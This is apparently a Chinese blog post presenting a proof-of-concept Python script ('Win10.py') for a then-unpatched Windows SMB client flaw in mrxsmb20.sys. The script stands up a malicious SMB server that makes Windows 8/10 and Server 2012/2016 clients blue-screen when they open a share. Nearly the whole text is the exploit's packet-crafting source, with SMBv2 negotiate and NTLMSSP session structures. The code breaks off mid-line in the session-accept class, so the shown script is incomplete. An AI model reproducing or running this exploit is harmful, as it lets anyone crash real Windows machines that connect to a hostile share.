0x00.说明
此SMB服务漏洞波及Win Server 2012/2016、Win10/Win8/8.1,微软截至目前并未发布对应补丁。
首先在Kali linux上开启恶意SMB服务 (Windows上自身445端口已被占用)
在另一台Win10上查看共享文件,触发mrxsmb20.sys文件漏洞致使计算机蓝屏
0x01.POC示例
Win10.py
1 import sys, struct, SocketServer 2 from odict import OrderedDict 3 from datetime import datetime 4 from calendar import timegm 5 6 class Packet(): 7 fields = OrderedDict([ 8 ("data", ""), 9 ]) 10 def __init__(self, **kw): 11 self.fields = OrderedDict(self.__class__.fields) 12 for k,v in kw.items(): 13 if callable(v): 14 self.fields[k] = v(self.fields[k]) 15 else: 16 self.fields[k] = v 17 def __str__(self): 18 return "".join(map(str, self.fields.values())) 19 20 def NTStamp(Time): 21 NtStamp = 116444736000000000 + (timegm(Time.timetuple()) * 10000000) 22 return struct.pack("Q", NtStamp + (Time.microsecond * 10)) 23 24 def longueur(payload): 25 length = struct.pack(">i", len(‘‘.join(payload))) 26 return length 27 28 def GrabMessageID(data): 29 Messageid = data[28:36] 30 return Messageid 31 32 def GrabCreditRequested(data): 33 CreditsRequested = data[18:20] 34 if CreditsRequested == "\x00\x00": 35 CreditsRequested = "\x01\x00" 36 else: 37 CreditsRequested = data[18:20] 38 return CreditsRequested 39 40 def GrabCreditCharged(data): 41 CreditCharged = data[10:12] 42 return CreditCharged 43 44 def GrabSessionID(data): 45 SessionID = data[44:52] 46 return SessionID 47 48 ################################################################################## 49 class SMBv2Header(Packet): 50 fields = OrderedDict([ 51 ("Proto", "\xfe\x53\x4d\x42"), 52 ("Len", "\x40\x00"), 53 ("CreditCharge", "\x00\x00"), 54 ("NTStatus", "\x00\x00\x00\x00"), 55 ("Cmd", "\x00\x00"), 56 ("Credits", "\x01\x00"), 57 ("Flags", "\x01\x00\x00\x00"), 58 ("NextCmd", "\x00\x00\x00\x00"), 59 ("MessageId", "\x00\x00\x00\x00\x00\x00\x00\x00"), 60 ("PID", "\xff\xfe\x00\x00"), 61 ("TID", "\x00\x00\x00\x00"), 62 ("SessionID", "\x00\x00\x00\x00\x00\x00\x00\x00"), 63 ("Signature", "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"), 64 ]) 65 66 ################################################################################## 67 class SMB2NegoAns(Packet): 68 fields = OrderedDict([ 69 ("Len", "\x41\x00"), 70 ("Signing", "\x01\x00"), 71 ("Dialect", "\xff\x02"), 72 ("Reserved", "\x00\x00"), 73 ("Guid", "\xea\x85\xab\xf1\xea\xf6\x0c\x4f\x92\x81\x92\x47\x6d\xeb\x72\xa9"), 74 ("Capabilities", "\x07\x00\x00\x00"), 75 ("MaxTransSize", "\x00\x00\x10\x00"), 76 ("MaxReadSize", "\x00\x00\x10\x00"), 77 ("MaxWriteSize", "\x00\x00\x10\x00"), 78 ("SystemTime", NTStamp(datetime.now())), 79 ("BootTime", "\x22\xfb\x80\x01\x40\x09\xd2\x01"), 80 ("SecBlobOffSet", "\x80\x00"), 81 ("SecBlobLen", "\x78\x00"), 82 ("Reserved2", "\x4d\x53\x53\x50"), 83 ("InitContextTokenASNId", "\x60"), 84 ("InitContextTokenASNLen", "\x76"), 85 ("ThisMechASNId", "\x06"), 86 ("ThisMechASNLen", "\x06"), 87 ("ThisMechASNStr", "\x2b\x06\x01\x05\x05\x02"), 88 ("SpNegoTokenASNId", "\xA0"), 89 ("SpNegoTokenASNLen", "\x6c"), 90 ("NegTokenASNId", "\x30"), 91 ("NegTokenASNLen", "\x6a"), 92 ("NegTokenTag0ASNId", "\xA0"), 93 ("NegTokenTag0ASNLen", "\x3c"), 94 ("NegThisMechASNId", "\x30"), 95 ("NegThisMechASNLen", "\x3a"), 96 ("NegThisMech1ASNId", "\x06"), 97 ("NegThisMech1ASNLen", "\x0a"), 98 ("NegThisMech1ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x1e"), 99 ("NegThisMech2ASNId", "\x06"), 100 ("NegThisMech2ASNLen", "\x09"), 101 ("NegThisMech2ASNStr", "\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"), 102 ("NegThisMech3ASNId", "\x06"), 103 ("NegThisMech3ASNLen", "\x09"), 104 ("NegThisMech3ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"), 105 ("NegThisMech4ASNId", "\x06"), 106 ("NegThisMech4ASNLen", "\x0a"), 107 ("NegThisMech4ASNStr", "\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"), 108 ("NegThisMech5ASNId", "\x06"), 109 ("NegThisMech5ASNLen", "\x0a"), 110 ("NegThisMech5ASNStr", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"), 111 ("NegTokenTag3ASNId", "\xA3"), 112 ("NegTokenTag3ASNLen", "\x2a"), 113 ("NegHintASNId", "\x30"), 114 ("NegHintASNLen", "\x28"), 115 ("NegHintTag0ASNId", "\xa0"), 116 ("NegHintTag0ASNLen", "\x26"), 117 ("NegHintFinalASNId", "\x1b"), 118 ("NegHintFinalASNLen", "\x24"), 119 ("NegHintFinalASNStr", "[email protected]"), 120 ("Data", ""), 121 ]) 122 123 def calculate(self): 124 125 126 StructLen = str(self.fields["Len"])+str(self.fields["Signing"])+str(self.fields["Dialect"])+str(self.fields["Reserved"])+str(self.fields["Guid"])+str(self.fields["Capabilities"])+str(self.fields["MaxTransSize"])+str(self.fields["MaxReadSize"])+str(self.fields["MaxWriteSize"])+str(self.fields["SystemTime"])+str(self.fields["BootTime"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"])+str(self.fields["Reserved2"]) 127 128 SecBlobLen = str(self.fields["InitContextTokenASNId"])+str(self.fields["InitContextTokenASNLen"])+str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) 129 130 131 AsnLenStart = str(self.fields["ThisMechASNId"])+str(self.fields["ThisMechASNLen"])+str(self.fields["ThisMechASNStr"])+str(self.fields["SpNegoTokenASNId"])+str(self.fields["SpNegoTokenASNLen"])+str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) 132 133 AsnLen2 = str(self.fields["NegTokenASNId"])+str(self.fields["NegTokenASNLen"])+str(self.fields["NegTokenTag0ASNId"])+str(self.fields["NegTokenTag0ASNLen"])+str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"])+str(self.fields["NegTokenTag3ASNId"])+str(self.fields["NegTokenTag3ASNLen"])+str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) 134 135 MechTypeLen = str(self.fields["NegThisMechASNId"])+str(self.fields["NegThisMechASNLen"])+str(self.fields["NegThisMech1ASNId"])+str(self.fields["NegThisMech1ASNLen"])+str(self.fields["NegThisMech1ASNStr"])+str(self.fields["NegThisMech2ASNId"])+str(self.fields["NegThisMech2ASNLen"])+str(self.fields["NegThisMech2ASNStr"])+str(self.fields["NegThisMech3ASNId"])+str(self.fields["NegThisMech3ASNLen"])+str(self.fields["NegThisMech3ASNStr"])+str(self.fields["NegThisMech4ASNId"])+str(self.fields["NegThisMech4ASNLen"])+str(self.fields["NegThisMech4ASNStr"])+str(self.fields["NegThisMech5ASNId"])+str(self.fields["NegThisMech5ASNLen"])+str(self.fields["NegThisMech5ASNStr"]) 136 137 Tag3Len = str(self.fields["NegHintASNId"])+str(self.fields["NegHintASNLen"])+str(self.fields["NegHintTag0ASNId"])+str(self.fields["NegHintTag0ASNLen"])+str(self.fields["NegHintFinalASNId"])+str(self.fields["NegHintFinalASNLen"])+str(self.fields["NegHintFinalASNStr"]) 138 139 #Sec Blob lens 140 self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) 141 self.fields["SecBlobLen"] = struct.pack("<h",len(SecBlobLen)) 142 #ASN Stuff 143 self.fields["InitContextTokenASNLen"] = struct.pack("<B", len(SecBlobLen)-2) 144 self.fields["ThisMechASNLen"] = struct.pack("<B", len(str(self.fields["ThisMechASNStr"]))) 145 self.fields["SpNegoTokenASNLen"] = struct.pack("<B", len(AsnLen2)) 146 self.fields["NegTokenASNLen"] = struct.pack("<B", len(AsnLen2)-2) 147 self.fields["NegTokenTag0ASNLen"] = struct.pack("<B", len(MechTypeLen)) 148 self.fields["NegThisMech1ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech1ASNStr"]))) 149 self.fields["NegThisMech2ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech2ASNStr"]))) 150 self.fields["NegThisMech3ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech3ASNStr"]))) 151 self.fields["NegThisMech4ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech4ASNStr"]))) 152 self.fields["NegThisMech5ASNLen"] = struct.pack("<B", len(str(self.fields["NegThisMech5ASNStr"]))) 153 self.fields["NegTokenTag3ASNLen"] = struct.pack("<B", len(Tag3Len)) 154 self.fields["NegHintASNLen"] = struct.pack("<B", len(Tag3Len)-2) 155 self.fields["NegHintTag0ASNLen"] = struct.pack("<B", len(Tag3Len)-4) 156 self.fields["NegHintFinalASNLen"] = struct.pack("<B", len(str(self.fields["NegHintFinalASNStr"]))) 157 158 ################################################################################## 159 class SMB2Session1Data(Packet): 160 fields = OrderedDict([ 161 ("Len", "\x09\x00"), 162 ("SessionFlag", "\x01\x00"), 163 ("SecBlobOffSet", "\x48\x00"), 164 ("SecBlobLen", "\x06\x01"), 165 ("ChoiceTagASNId", "\xa1"), 166 ("ChoiceTagASNLenOfLen", "\x82"), 167 ("ChoiceTagASNIdLen", "\x01\x02"), 168 ("NegTokenTagASNId", "\x30"), 169 ("NegTokenTagASNLenOfLen","\x81"), 170 ("NegTokenTagASNIdLen", "\xff"), 171 ("Tag0ASNId", "\xA0"), 172 ("Tag0ASNIdLen", "\x03"), 173 ("NegoStateASNId", "\x0A"), 174 ("NegoStateASNLen", "\x01"), 175 ("NegoStateASNValue", "\x01"), 176 ("Tag1ASNId", "\xA1"), 177 ("Tag1ASNIdLen", "\x0c"), 178 ("Tag1ASNId2", "\x06"), 179 ("Tag1ASNId2Len", "\x0A"), 180 ("Tag1ASNId2Str", "\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"), 181 ("Tag2ASNId", "\xA2"), 182 ("Tag2ASNIdLenOfLen", "\x81"), 183 ("Tag2ASNIdLen", "\xE9"), 184 ("Tag3ASNId", "\x04"), 185 ("Tag3ASNIdLenOfLen", "\x81"), 186 ("Tag3ASNIdLen", "\xE6"), 187 ("NTLMSSPSignature", "NTLMSSP"), 188 ("NTLMSSPSignatureNull", "\x00"), 189 ("NTLMSSPMessageType", "\x02\x00\x00\x00"), 190 ("NTLMSSPNtWorkstationLen","\x1e\x00"), 191 ("NTLMSSPNtWorkstationMaxLen","\x1e\x00"), 192 ("NTLMSSPNtWorkstationBuffOffset","\x38\x00\x00\x00"), 193 ("NTLMSSPNtNegotiateFlags","\x15\x82\x89\xe2"), 194 ("NTLMSSPNtServerChallenge","\x82\x21\x32\x14\x51\x46\xe2\x83"), 195 ("NTLMSSPNtReserved","\x00\x00\x00\x00\x00\x00\x00\x00"), 196 ("NTLMSSPNtTargetInfoLen","\x94\x00"), 197 ("NTLMSSPNtTargetInfoMaxLen","\x94\x00"), 198 ("NTLMSSPNtTargetInfoBuffOffset","\x56\x00\x00\x00"), 199 ("NegTokenInitSeqMechMessageVersionHigh","\x06"), 200 ("NegTokenInitSeqMechMessageVersionLow","\x03"), 201 ("NegTokenInitSeqMechMessageVersionBuilt","\x80\x25"), 202 ("NegTokenInitSeqMechMessageVersionReserved","\x00\x00\x00"), 203 ("NegTokenInitSeqMechMessageVersionNTLMType","\x0f"), 204 ("NTLMSSPNtWorkstationName","SMB3"), 205 ("NTLMSSPNTLMChallengeAVPairsId","\x02\x00"), 206 ("NTLMSSPNTLMChallengeAVPairsLen","\x0a\x00"), 207 ("NTLMSSPNTLMChallengeAVPairsUnicodeStr","SMB5"), 208 ("NTLMSSPNTLMChallengeAVPairs1Id","\x01\x00"), 209 ("NTLMSSPNTLMChallengeAVPairs1Len","\x1e\x00"), 210 ("NTLMSSPNTLMChallengeAVPairs1UnicodeStr","WIN-PRH502RQAFV"), 211 ("NTLMSSPNTLMChallengeAVPairs2Id","\x04\x00"), 212 ("NTLMSSPNTLMChallengeAVPairs2Len","\x1e\x00"), 213 ("NTLMSSPNTLMChallengeAVPairs2UnicodeStr","SMB5.local"), 214 ("NTLMSSPNTLMChallengeAVPairs3Id","\x03\x00"), 215 ("NTLMSSPNTLMChallengeAVPairs3Len","\x1e\x00"), 216 ("NTLMSSPNTLMChallengeAVPairs3UnicodeStr","WIN-PRH502RQAFV.SMB5.local"), 217 ("NTLMSSPNTLMChallengeAVPairs5Id","\x05\x00"), 218 ("NTLMSSPNTLMChallengeAVPairs5Len","\x04\x00"), 219 ("NTLMSSPNTLMChallengeAVPairs5UnicodeStr","SMB5.local"), 220 ("NTLMSSPNTLMChallengeAVPairs7Id","\x07\x00"), 221 ("NTLMSSPNTLMChallengeAVPairs7Len","\x08\x00"), 222 ("NTLMSSPNTLMChallengeAVPairs7UnicodeStr",NTStamp(datetime.now())), 223 ("NTLMSSPNTLMChallengeAVPairs6Id","\x00\x00"), 224 ("NTLMSSPNTLMChallengeAVPairs6Len","\x00\x00"), 225 ]) 226 227 228 def calculate(self): 229 ###### Convert strings to Unicode 230 self.fields["NTLMSSPNtWorkstationName"] = self.fields["NTLMSSPNtWorkstationName"].encode(‘utf-16le‘) 231 self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"].encode(‘utf-16le‘) 232 self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"].encode(‘utf-16le‘) 233 self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"].encode(‘utf-16le‘) 234 self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"].encode(‘utf-16le‘) 235 self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"] = self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"].encode(‘utf-16le‘) 236 237 #Packet struct calc: 238 StructLen = str(self.fields["Len"])+str(self.fields["SessionFlag"])+str(self.fields["SecBlobOffSet"])+str(self.fields["SecBlobLen"]) 239 ###### SecBlobLen Calc: 240 CalculateSecBlob = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"])+str(self.fields["NTLMSSPNtWorkstationName"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) 241 242 AsnLen = str(self.fields["ChoiceTagASNId"])+str(self.fields["ChoiceTagASNLenOfLen"])+str(self.fields["ChoiceTagASNIdLen"])+str(self.fields["NegTokenTagASNId"])+str(self.fields["NegTokenTagASNLenOfLen"])+str(self.fields["NegTokenTagASNIdLen"])+str(self.fields["Tag0ASNId"])+str(self.fields["Tag0ASNIdLen"])+str(self.fields["NegoStateASNId"])+str(self.fields["NegoStateASNLen"])+str(self.fields["NegoStateASNValue"])+str(self.fields["Tag1ASNId"])+str(self.fields["Tag1ASNIdLen"])+str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"])+str(self.fields["Tag2ASNId"])+str(self.fields["Tag2ASNIdLenOfLen"])+str(self.fields["Tag2ASNIdLen"])+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) 243 244 245 #Packet Struct len 246 self.fields["SecBlobLen"] = struct.pack("<H", len(AsnLen+CalculateSecBlob)) 247 self.fields["SecBlobOffSet"] = struct.pack("<h",len(StructLen)+64) 248 249 ###### ASN Stuff 250 if len(CalculateSecBlob) > 255: 251 self.fields["Tag3ASNIdLen"] = struct.pack(">H", len(CalculateSecBlob)) 252 else: 253 self.fields["Tag3ASNIdLenOfLen"] = "\x81" 254 self.fields["Tag3ASNIdLen"] = struct.pack(">B", len(CalculateSecBlob)) 255 256 if len(AsnLen+CalculateSecBlob)-3 > 255: 257 self.fields["ChoiceTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-4) 258 else: 259 self.fields["ChoiceTagASNLenOfLen"] = "\x81" 260 self.fields["ChoiceTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-3) 261 262 if len(AsnLen+CalculateSecBlob)-7 > 255: 263 self.fields["NegTokenTagASNIdLen"] = struct.pack(">H", len(AsnLen+CalculateSecBlob)-8) 264 else: 265 self.fields["NegTokenTagASNLenOfLen"] = "\x81" 266 self.fields["NegTokenTagASNIdLen"] = struct.pack(">B", len(AsnLen+CalculateSecBlob)-7) 267 268 tag2length = CalculateSecBlob+str(self.fields["Tag3ASNId"])+str(self.fields["Tag3ASNIdLenOfLen"])+str(self.fields["Tag3ASNIdLen"]) 269 270 if len(tag2length) > 255: 271 self.fields["Tag2ASNIdLen"] = struct.pack(">H", len(tag2length)) 272 else: 273 self.fields["Tag2ASNIdLenOfLen"] = "\x81" 274 self.fields["Tag2ASNIdLen"] = struct.pack(">B", len(tag2length)) 275 276 self.fields["Tag1ASNIdLen"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2"])+str(self.fields["Tag1ASNId2Len"])+str(self.fields["Tag1ASNId2Str"]))) 277 self.fields["Tag1ASNId2Len"] = struct.pack(">B", len(str(self.fields["Tag1ASNId2Str"]))) 278 279 ###### Workstation Offset 280 CalculateOffsetWorkstation = str(self.fields["NTLMSSPSignature"])+str(self.fields["NTLMSSPSignatureNull"])+str(self.fields["NTLMSSPMessageType"])+str(self.fields["NTLMSSPNtWorkstationLen"])+str(self.fields["NTLMSSPNtWorkstationMaxLen"])+str(self.fields["NTLMSSPNtWorkstationBuffOffset"])+str(self.fields["NTLMSSPNtNegotiateFlags"])+str(self.fields["NTLMSSPNtServerChallenge"])+str(self.fields["NTLMSSPNtReserved"])+str(self.fields["NTLMSSPNtTargetInfoLen"])+str(self.fields["NTLMSSPNtTargetInfoMaxLen"])+str(self.fields["NTLMSSPNtTargetInfoBuffOffset"])+str(self.fields["NegTokenInitSeqMechMessageVersionHigh"])+str(self.fields["NegTokenInitSeqMechMessageVersionLow"])+str(self.fields["NegTokenInitSeqMechMessageVersionBuilt"])+str(self.fields["NegTokenInitSeqMechMessageVersionReserved"])+str(self.fields["NegTokenInitSeqMechMessageVersionNTLMType"]) 281 282 ###### AvPairs Offset 283 CalculateLenAvpairs = str(self.fields["NTLMSSPNTLMChallengeAVPairsId"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsLen"])+str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs2Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs3Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs5Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs7Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7Len"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"])+(self.fields["NTLMSSPNTLMChallengeAVPairs6Id"])+str(self.fields["NTLMSSPNTLMChallengeAVPairs6Len"]) 284 285 ##### Workstation Offset Calculation: 286 self.fields["NTLMSSPNtWorkstationBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation)) 287 self.fields["NTLMSSPNtWorkstationLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) 288 self.fields["NTLMSSPNtWorkstationMaxLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNtWorkstationName"]))) 289 290 ##### Target Offset Calculation: 291 self.fields["NTLMSSPNtTargetInfoBuffOffset"] = struct.pack("<i", len(CalculateOffsetWorkstation+str(self.fields["NTLMSSPNtWorkstationName"]))) 292 self.fields["NTLMSSPNtTargetInfoLen"] = struct.pack("<h", len(CalculateLenAvpairs)) 293 self.fields["NTLMSSPNtTargetInfoMaxLen"] = struct.pack("<h", len(CalculateLenAvpairs)) 294 295 ##### IvPair Calculation: 296 self.fields["NTLMSSPNTLMChallengeAVPairs7Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs7UnicodeStr"]))) 297 self.fields["NTLMSSPNTLMChallengeAVPairs5Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs5UnicodeStr"]))) 298 self.fields["NTLMSSPNTLMChallengeAVPairs3Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs3UnicodeStr"]))) 299 self.fields["NTLMSSPNTLMChallengeAVPairs2Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs2UnicodeStr"]))) 300 self.fields["NTLMSSPNTLMChallengeAVPairs1Len"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairs1UnicodeStr"]))) 301 self.fields["NTLMSSPNTLMChallengeAVPairsLen"] = struct.pack("<h", len(str(self.fields["NTLMSSPNTLMChallengeAVPairsUnicodeStr"]))) 302 303 class SMB2SessionAcceptData(Packet): 304 fields = OrderedDict([ 305 ("Len", "\x09\x00"), 306 ("SessionFlag", "\x01\x00"), 307 ("SecBlobOffSet", "\x48\x00"), 308 ("SecBlobLen", "\x1d\x00"), 309 ("SecBlobTag0", "\xa1"), 310 ("SecBlobTag0Len", "\x1b"), 311 ("NegTokenResp", "\x30"), 312 ("NegTokenRespLen", "\x19"), 313 ("NegTokenRespTag0", "\xa0"), 314 ("NegTokenRespTag0Len", "\x03"), 315 ("NegStateResp", "\x0a"), 316 ("NegTokenRespLen1", "\x01"), 317 ("NegTokenRespStr", "\x00"), 318 ("SecBlobTag3", "\xa3"), 319 ("SecBlobTag3Len", "\x12"), 320 ("SecBlobOctetHeader", "\x04"), 321 ("SecBlobOctetLen", "\x10"), 322 ("MechlistMICVersion", ""),# No verification on the client side... 323 ("MechlistCheckSum", ""), 324 ("MechlistSeqNumber", ""), 325 ("Data", ""), 326 ]) 327 def calculate(self): 328 329 ###### SecBlobLen Calc: 330 CalculateSecBlob = str(self.fields["SecBlobTag0"])+str(self.fields["SecBlobTag0Len"])+str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"]) 331 332 CalculateASN = str(self.fields["NegTokenResp"])+str(self.fields["NegTokenRespLen"])+str(self.fields["NegTokenRespTag0"])+str(self.fields["NegTokenRespTag0Len"])+str(self.fields["NegStateResp"])+str(self.fields["NegTokenRespLen1"])+str(self.fields["NegTokenRespStr"])+str(self.fields["SecBlobTag3"])+str(self.fields["SecBlobTag3Len"])+str(self.fields["SecBlobOctetHeader"])+str(self.fields["SecBlobOctetLen"])+str(self.fields["MechlistMICVersion"])+str(self.fields["MechlistCheckSum"])+str(self.fields["MechlistSeqNumber"]) 333 334 MechLen = 